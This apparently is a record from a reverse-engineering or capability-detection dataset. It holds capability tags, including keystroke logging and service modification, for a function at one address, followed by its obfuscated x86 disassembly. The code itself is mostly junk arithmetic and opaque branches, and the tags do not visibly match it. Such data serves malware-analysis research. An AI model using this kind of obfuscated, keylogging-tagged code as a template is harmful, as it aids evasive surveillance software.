Function at 0x10030a67
Capabilities:
Check os version
Compare security identifiers
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file attributes
Get file size
Get session user name
Log keystrokes
Log keystrokes via polling
Modify service
Parse pe header
Read .ini file
Resume thread

Disassembly:
mov eax, 0x1007a42f
call fcn.10078c60
mov eax, 0x1464
call fcn.10075410
push ebx
push esi
push edi
push 2
pop ebx
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x5f4]
push ebx
mov byte [ebp - 0x65], dl
call fcn.100173a1
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 4], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10030aca
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5f4]
call fcn.1001743f
mov dword [eax], 0x9b3198a8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030aac
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_InsertMenuW]
xor ecx, ecx
inc ecx
mov edi, 0xe5b
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
push 3
pop eax
jge 0x10030b78
xor esi, esi
inc esi
or eax, 0xffffffff
lea ecx, [ebp - 0x5f4]
mov dword [ebp - 4], eax
call fcn.10017423
push 2
pop eax
push eax
lea ecx, [ebp - 0x600]
call fcn.100173a1
mov dword [ebp - 4], 4
or ecx, 0xffffffff
mov dword [ebp - 0x20], ecx
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10030b49
push dword [ebp - 0x14]
lea ecx, [ebp - 0x600]
call fcn.1001743f
push 2
mov dword [eax], 0x9b3198a8
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x10030b28
xor eax, eax
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x10030f39
push 3
pop eax
push eax
lea ecx, [ebp - 0xb30]
call fcn.100173a1
xor eax, eax
mov byte [ebp - 4], 5
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
jmp 0x10030d7f
push 3
pop eax
push eax
lea ecx, [ebp - 0x9b0]
call fcn.100173a1
xor eax, eax
inc eax
mov byte [ebp - 4], al
xor eax, eax
push 3
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
pop esi
jmp 0x10030ba8
push dword [ebp - 0x14]
call fcn.1001743f
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x9b0]
cmp dword [ebp - 0x14], esi
jl 0x10030b97
xor eax, eax
inc eax
push eax
call fcn.1001743f
cmp dword [eax], 0
je 0x10030d38
xor eax, eax
mov dword [ebp - 0x4c], 0x3869393d
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10030bf1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x308], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10030bd9
xor eax, eax
xor esi, esi
mov dword [ebp - 0x308], eax
inc esi
cmp dword [ebp - 0x308], esi
jg 0x10030d52
xor eax, eax
inc eax
mov dword [ebp - 0x30], 0x607a9881
lea ecx, [ebp - 0xd54]
mov dword [ebp - 0x4c], 0xed45b0e8
push eax
call fcn.100173a1
push 2
pop eax
mov byte [ebp - 4], al
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10030c58
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd54]
call fcn.1001743f
or ecx, 0xffffffff
mov dword [eax], ecx
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10030c36
xor eax, eax
jmp 0x10030c5b
or ecx, 0xffffffff
mov dword [ebp - 0x30], eax
jmp 0x10030cb5
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0xff4]
push 4
call fcn.100173a1
push 3
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x28], 0x7c5b1510
mov dword [ebp - 0x14], eax
jmp 0x10030c95
push dword [ebp - 0x14]
call fcn.1001743f
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
lea ecx, [ebp - 0xff4]
jl 0x10030c84
inc dword [ebp - 0x28]
push 2
pop eax
mov byte [ebp - 4], al
call fcn.10017423
inc dword [ebp - 0x30]
push 0xffffffffffffffff
pop ecx
xor eax, eax
inc eax
cmp dword [ebp - 0x30], eax
jle 0x10030c60
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5f4]
call fcn.1001743f
xor eax, eax
lea ecx, [ebp - 0x5f4]
inc eax
mov dword [ebp - 0x28], eax
push dword [ebp - 0x308]
call fcn.1001743f
xor ecx, ecx
push 3
cmp dword [eax], ecx
setge cl
xor eax, eax
cmp ecx, 0xfffffff7
pop ecx
push dword [ebp - 0x20]
setl al
cmp ecx, eax
lea ecx, [ebp - 0x5f4]
sbb esi, esi
neg esi
call fcn.1001743f
mov ecx, dword [ebp - 0x28]
imul ecx, esi
mov dword [eax], ecx
xor eax, eax
inc eax
lea ecx, [ebp - 0xd54]
mov byte [ebp - 4], al
call fcn.10017423
inc dword [ebp - 0x308]
xor eax, eax
inc eax
cmp dword [ebp - 0x308], eax
jle 0x10030c09
jmp 0x10030d4d
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10030d4d
push eax
push eax
push 0x1596
push edi
push eax
call ebx
xor esi, esi
xor eax, eax
inc esi
lea ecx, [ebp - 0x9b0]
mov byte [ebp - 4], al
call fcn.10017423
dec dword [ebp - 0x20]
jns 0x10030b75
jmp 0x10030aea
push dword [ebp - 0x14]
call fcn.1001743f
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x14]
push 3
pop eax
lea ecx, [ebp - 0xb30]
cmp dword [ebp - 0x14], eax
jl 0x10030d6e
xor eax, eax
inc eax
push eax
call fcn.1001743f
cmp dword [eax], 0
je 0x10030f0c
xor eax, eax
mov dword [ebp - 0x4c], 0x3869393d
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10030dcb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x320], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10030db3
xor eax, eax
mov dword [ebp - 0x320], eax
xor eax, eax
inc eax
cmp dword [ebp - 0x320], eax
jg 0x10030f21
jmp 0x10030de5
xor eax, eax
inc eax
mov dword [ebp - 0x30], 0x607a9881
lea ecx, [ebp - 0xd6c]
mov dword [ebp - 0x4c], 0xed45b0e8
push eax
call fcn.100173a1
xor eax, eax
mov byte [ebp - 4], 6
xor esi, esi
mov dword [ebp - 0x14], eax
inc esi
cmp dword [ebp - 0x14], esi
jge 0x10030e32
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd6c]
call fcn.1001743f
or ecx, 0xffffffff
mov dword [eax], ecx
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10030e10
xor eax, eax
jmp 0x10030e35
or ecx, 0xffffffff
mov dword [ebp - 0x30], eax
jmp 0x10030e8b
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0xec4]
push 4
call fcn.100173a1
mov byte [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x28], 0x7c5b1510
mov dword [ebp - 0x14], eax
jmp 0x10030e6d
push dword [ebp - 0x14]
call fcn.1001743f
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
lea ecx, [ebp - 0xec4]
jl 0x10030e5c
inc dword [ebp - 0x28]
mov byte [ebp - 4], 6
call fcn.10017423
inc dword [ebp - 0x30]
push 0xffffffffffffffff
pop ecx
xor eax, eax
inc eax
cmp dword [ebp - 0x30], eax
jle 0x10030e3a
push dword [ebp - 0x20]
lea ecx, [ebp - 0x600]
call fcn.1001743f
xor eax, eax
lea ecx, [ebp - 0x600]
inc eax
mov dword [ebp - 0x28], eax
push dword [ebp - 0x320]
call fcn.1001743f
xor ecx, ecx
push 3
cmp dword [eax], ecx
setge cl
xor eax, eax
cmp ecx, 0xfffffff7
pop ecx
push dword [ebp - 0x20]
setl al
cmp ecx, eax
lea ecx, [ebp - 0x600]
sbb esi, esi
neg esi
call fcn.1001743f
mov ecx, dword [ebp - 0x28]
imul ecx, esi
mov byte [ebp - 4], 5
mov dword [eax], ecx
lea ecx, [ebp - 0xd6c]
call fcn.10017423
inc dword [ebp - 0x320]
xor eax, eax
inc eax
cmp dword [ebp - 0x320], eax
jle 0x10030de2
jmp 0x10030f21
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10030f21
push eax
push eax
push 0x1596
push edi
push eax
call ebx
lea ecx, [ebp - 0xb30]
mov byte [ebp - 4], 4
call fcn.10017423
dec dword [ebp - 0x20]
jns 0x10030b55
or eax, 0xffffffff
lea ecx, [ebp - 0x600]
mov dword [ebp - 4], eax
call fcn.10017423
push 3
pop eax
mov dword [ebp - 0x2c], 0xb4ffb87
lea ecx, [ebp - 0x1c4]
push eax
call fcn.100173a1
push 8
pop ecx
mov dword [ebp - 4], ecx
xor eax, eax
xor edx, edx
mov dword [ebp - 0x28], 0xcd0cd8a6
mov dword [ebp - 0x18], eax
inc edx
cmp dword [ebp - 0x18], edx
jge 0x10030f8e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3a4], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10030f7a
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10030fb9
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1c4]
call fcn.1001743f
xor edx, edx
inc edx
push 3
mov dword [eax], edx
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], eax
jl 0x10030f99
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x10031027
mov dword [ebp - 0x3c], 0x88586fd5
mov eax, dword [ebp - 0x3a4]
add eax, 0x62bb3fd
je 0x10030fe0
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10030fe2
mov esi, edx
jmp 0x10030fe4
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x1c4]
mov eax, dword [ebp - 0x2c]
push edx
call fcn.1001743f
lea ecx, [ebp - 0x1c4]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.1001743f
mov eax, dword [ebp - 0x2c]
xor edx, edx
xor ecx, ecx
inc edx
mov eax, dword [ebp + eax*4 - 0x3a4]
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x10030fc1
push 2
mov dword [ebp - 0x2c], eax
mov esi, 0xffff
pop eax
push 0xfffffffffffffff8
pop ecx
cmp dword [ebp - 0x2c], eax
jg 0x100311b1
jmp 0x10031043
xor edx, edx
inc edx
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x610]
push edx
call fcn.100173a1
mov byte [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x3c], 8
mov dword [ebp - 0x14], eax
jmp 0x1003107b
push dword [ebp - 0x14]
lea ecx, [ebp - 0x610]
call fcn.1001743f
mov dword [eax], 0xd693ce85
inc dword [ebp - 0x14]
xor eax, eax
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10031064
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1c4]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1c4]
call fcn.1001743f
mov dword [ebp - 0x20], 0xed55c59c
lea ecx, [ebp - 0x1c4]
mov eax, dword [ebp - 0x20]
push dword [ebp - 0x2c]
call fcn.1001743f
push 2
pop eax
push eax
lea ecx, [ebp - 0x1c4]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1c4]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1c4]
call fcn.1001743f
xor eax, eax
lea ecx, [ebp - 0x1c4]
inc eax
push eax
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1c4]
call fcn.1001743f
push 0xfffffffffffffffb
pop ecx
cmp dword [eax], ecx
je 0x10031114
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1c4]
call fcn.1001743f
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x1c4]
xor eax, eax
push eax
call fcn.1001743f
mov dword [eax], esi
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
neg eax
jne 0x10031134
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x610]
mov dword [ebp - 0x28], eax
xor eax, eax
push eax
call fcn.1001743f
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [eax]
jl 0x1003115a
mov eax, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x610]
neg edi
sbb edi, edi
xor eax, eax
push eax
neg edi
call fcn.1001743f
lea ecx, [ebp - 0x610]
mov esi, dword [eax]
xor eax, eax
push eax
imul esi, edi
call fcn.1001743f
lea ecx, [ebp - 0x610]
mov byte [ebp - 4], 8
mov dword [eax], esi
call fcn.10017423
inc dword [ebp - 0x2c]
mov esi, 0xffff
push 2
pop eax
push 0xfffffffffffffff8
pop ecx
cmp dword [ebp - 0x2c], eax
jle 0x10031040
mov edi, 0xe5b
or esi, 0xffffffff
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 4], esi
call fcn.10017423
mov dword [ebp - 0x30], esi
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x24], 0xe997
mov dword [ebp - 0x14], eax
inc ecx
cmp dword [ebp - 0x14], ecx
jge 0x100311f1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x604], 0xb0121307
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100311d9
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x1d
jg 0x10031264
jmp 0x100311fe
xor eax, eax
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x20], 0xffffffe5
jmp 0x10031253
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x50], 0xfffffffc
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x40], 0x79ae4f78
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1003123f
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x604], eax
inc dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
jg 0x1003120e
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1d
jle 0x100311fc
push 2
pop eax
push eax
lea ecx, [ebp - 0x620]
call fcn.100173a1
mov dword [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x100312af
push dword [ebp - 0x14]
lea ecx, [ebp - 0x620]
call fcn.1001743f
push 2
mov dword [eax], 0x9b3198a8
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x1003128e
xor eax, eax
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x10031497
push 3
pop eax
push eax
lea ecx, [ebp - 0x9c8]
call fcn.100173a1
xor eax, eax
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
jmp 0x100312ec
push dword [ebp - 0x14]
call fcn.1001743f
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x14]
push 3
pop eax
lea ecx, [ebp - 0x9c8]
cmp dword [ebp - 0x14], eax
jl 0x100312db
xor eax, eax
inc eax
push eax
call fcn.1001743f
cmp dword [eax], 0
je 0x1003146a
xor eax, eax
mov dword [ebp - 0x4c], 0x3869393d
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10031338
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x310], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10031320
xor eax, eax
mov dword [ebp - 0x310], eax
jmp 0x10031459
mov dword [ebp - 0x30], 0x607a9881
lea ecx, [ebp - 0xd84]
mov dword [ebp - 0x4c], 0xed45b0e8
push eax
call fcn.100173a1
xor eax, eax
mov byte [ebp - 4], 0xc
xor esi, esi
mov dword [ebp - 0x14], eax
inc esi
cmp dword [ebp - 0x14], esi
jge 0x10031390
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd84]
call fcn.1001743f
or ecx, 0xffffffff
mov dword [eax], ecx
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1003136e
xor eax, eax
jmp 0x10031393
or ecx, 0xffffffff
mov dword [ebp - 0x30], eax
jmp 0x100313e9
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0xf70]
push 4
call fcn.100173a1
mov byte [ebp - 4], 0xd
xor eax, eax
mov dword [ebp - 0x28], 0x7c5b1510
mov dword [ebp - 0x14], eax
jmp 0x100313cb
push dword [ebp - 0x14]
call fcn.1001743f
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
lea ecx, [ebp - 0xf70]
jl 0x100313ba
inc dword [ebp - 0x28]
mov byte [ebp - 4], 0xc
call fcn.10017423
inc dword [ebp - 0x30]
push 0xffffffffffffffff
pop ecx
xor eax, eax
inc eax
cmp dword [ebp - 0x30], eax
jle 0x10031398
push dword [ebp - 0x20]
lea ecx, [ebp - 0x620]
call fcn.1001743f
xor eax, eax
lea ecx, [ebp - 0x620]
inc eax
mov dword [ebp - 0x28], eax
push dword [ebp - 0x310]
call fcn.1001743f
xor ecx, ecx
push 3
cmp dword [eax], ecx
setge cl
xor eax, eax
cmp ecx, 0xfffffff7
pop ecx
push dword [ebp - 0x20]
setl al
cmp ecx, eax
lea ecx, [ebp - 0x620]
sbb esi, esi
neg esi
call fcn.1001743f
mov ecx, dword [ebp - 0x28]
imul ecx, esi
mov byte [ebp - 4], 0xb
mov dword [eax], ecx
lea ecx, [ebp - 0xd84]
call fcn.10017423
inc dword [ebp - 0x310]
xor eax, eax
inc eax
cmp dword [ebp - 0x310], eax
jle 0x10031343
jmp 0x1003147f
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1003147f
push eax
push eax
push 0x1596
push edi
push eax
call ebx
lea ecx, [ebp - 0x9c8]
mov byte [ebp - 4], 0xa
call fcn.10017423
dec dword [ebp - 0x20]
jns 0x100312be
or edi, 0xffffffff
lea ecx, [ebp - 0x620]
mov dword [ebp - 4], edi
call fcn.10017423
push 3
xor eax, eax
lea ecx, [ebp - 0xbf0]
pop ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x3c], 0xcc5c6a3f
push ebx
call fcn.100173a1
xor eax, eax
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x14], eax
jmp 0x100314e8
push dword [ebp - 0x14]
lea ecx, [ebp - 0xbf0]
call fcn.1001743f
mov dword [eax], 0xe1d4595a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100314d1
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10031508
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
jne 0x10031505
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
push 0xfffffffffffffffb
setg cl
xor eax, eax
cmp ecx, 0xd1b4
pop ecx
setg al
cmp ecx, eax
lea ecx, [ebp - 0xbf0]
sbb esi, esi
add esi, 0xdeb9d334
sub esi, dword [ebp - 0x18]
neg esi
sbb esi, esi
inc esi
sub esi, dword [ebp - 0x3c]
neg esi
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.1001743f
mov dword [eax], esi
xor eax, eax
mov byte [ebp - 0x45], al
test esi, esi
je 0x10031575
cmp byte [ebp - 0x45], al
je 0x1003159a
push eax
push eax
push 0xc3a
push eax
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
jmp 0x1003159a
cmp byte [ebp - 0x45], al
je 0x10031589
push eax
push eax
push 0x14cc
call dword [sym.imp.ADVAPI32.dll_CopySid]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1003159a
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
lea ecx, [ebp - 0xbf0]
mov dword [ebp - 4], edi
call fcn.10017423
mov dword [ebp - 0x2c], 0xb4ffb87
lea ecx, [ebp - 0x1ac]
push ebx
call fcn.100173a1
mov dword [ebp - 4], 0xf
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x28], 0xcd0cd8a6
mov dword [ebp - 0x18], eax
inc ebx
cmp dword [ebp - 0x18], ebx
jge 0x100315ee
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x400], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100315d6
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10031616
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1ac]
call fcn.1001743f
push 3
mov dword [eax], ebx
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], eax
jl 0x100315f9
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x10031681
mov dword [ebp - 0x3c], 0x88586fd5
mov eax, dword [ebp - 0x400]
add eax, 0x62bb3fd
je 0x1003163d
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1003163f
mov esi, ebx
jmp 0x10031641
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x1ac]
mov eax, dword [ebp - 0x2c]
push ebx
call fcn.1001743f
lea ecx, [ebp - 0x1ac]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.1001743f
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x400]
cmp eax, ebx
setl cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x1003161e
mov dword [ebp - 0x2c], eax
push 2
pop eax
cmp dword [ebp - 0x2c], eax
jg 0x100317f5
push 0xfffffffffffffff8
pop eax
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x630]
push ebx
call fcn.100173a1
mov byte [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x3c], 8
mov dword [ebp - 0x14], eax
jmp 0x100316cb
push dword [ebp - 0x14]
lea ecx, [ebp - 0x630]
call fcn.1001743f
mov dword [eax], 0xd693ce85
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100316b4
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1ac]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1ac]
call fcn.1001743f
mov dword [ebp - 0x20], 0xed55c59c
lea ecx, [ebp - 0x1ac]
mov eax, dword [ebp - 0x20]
push dword [ebp - 0x2c]
call fcn.1001743f
push 2
pop eax
push eax
lea ecx, [ebp - 0x1ac]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1ac]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1ac]
call fcn.1001743f
push ebx
lea ecx, [ebp - 0x1ac]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1ac]
call fcn.1001743f
push 0xfffffffffffffffb
pop ecx
cmp dword [eax], ecx
je 0x1003175e
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1ac]
call fcn.1001743f
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x1ac]
xor eax, eax
push eax
call fcn.1001743f
mov dword [eax], 0xffff
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
neg eax
jne 0x10031782
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x630]
mov dword [ebp - 0x28], eax
xor eax, eax
push eax
call fcn.1001743f
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [eax]
jl 0x100317a8
mov eax, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x630]
neg edi
sbb edi, edi
xor eax, eax
push eax
neg edi
call fcn.1001743f
lea ecx, [ebp - 0x630]
mov esi, dword [eax]
xor eax, eax
push eax
imul esi, edi
call fcn.1001743f
lea ecx, [ebp - 0x630]
mov byte [ebp - 4], 0xf
mov dword [eax], esi
call fcn.10017423
inc dword [ebp - 0x2c]
push 2
pop eax
cmp dword [ebp - 0x2c], eax
jle 0x10031690
or edi, 0xffffffff
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 4], edi
call fcn.10017423
mov ebx, dword [sym.imp.USER32.dll_PostQuitMessage]
mov esi, dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x28], edi
mov edi, dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 0x38], 0x15
jmp 0x1003195e
inc eax
lea ecx, [ebp - 0x9e0]
push 3
mov dword [ebp - 0x34], eax
pop eax
push eax
call fcn.100173a1
xor eax, eax
mov dword [ebp - 4], 0x11
push 3
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x1003186f
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9e0]
call fcn.1001743f
push 3
pop edx
mov dword [eax], 2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1003184e
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x1c], eax
inc ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1003188e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x36c], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003187a
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100318a4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6d8], 0xfa66fa4b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10031893
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x9e0]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
xor eax, eax
push eax
call fcn.1001743f
xor ecx, ecx
xor edx, edx
inc ecx
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x36c], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
inc ecx
add eax, ecx
mov dword [ebp - 0x6d8], eax
lea ecx, [eax + 4]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
sub edx, 0x3053
neg edx
sbb edx, edx
inc edx
sub eax, edx
neg eax
sbb eax, eax
inc eax
cmp eax, 0x844ba928
jae 0x1003191b
xor eax, eax
cmp dword [ebp - 0x36c], eax
je 0x1003191d
inc eax
jmp 0x1003191d
xor eax, eax
imul eax, eax, 0xe1cc
test eax, eax
je 0x10031a2f
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1003193e
push 0x211c
call ebx
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1003194a
push eax
call edi
or eax, 0xffffffff
lea ecx, [ebp - 0x9e0]
mov dword [ebp - 4], eax
call fcn.10017423
dec dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x38], 0xffffffe7
jle 0x10031827
push 2
pop edx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10031996
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2c4], 0xe3245f1d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1003197e
xor eax, eax
cmp dword [ebp - 0x2bc], eax
je 0x100319a4
mov eax, dword [ebp - 0x2bc]
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
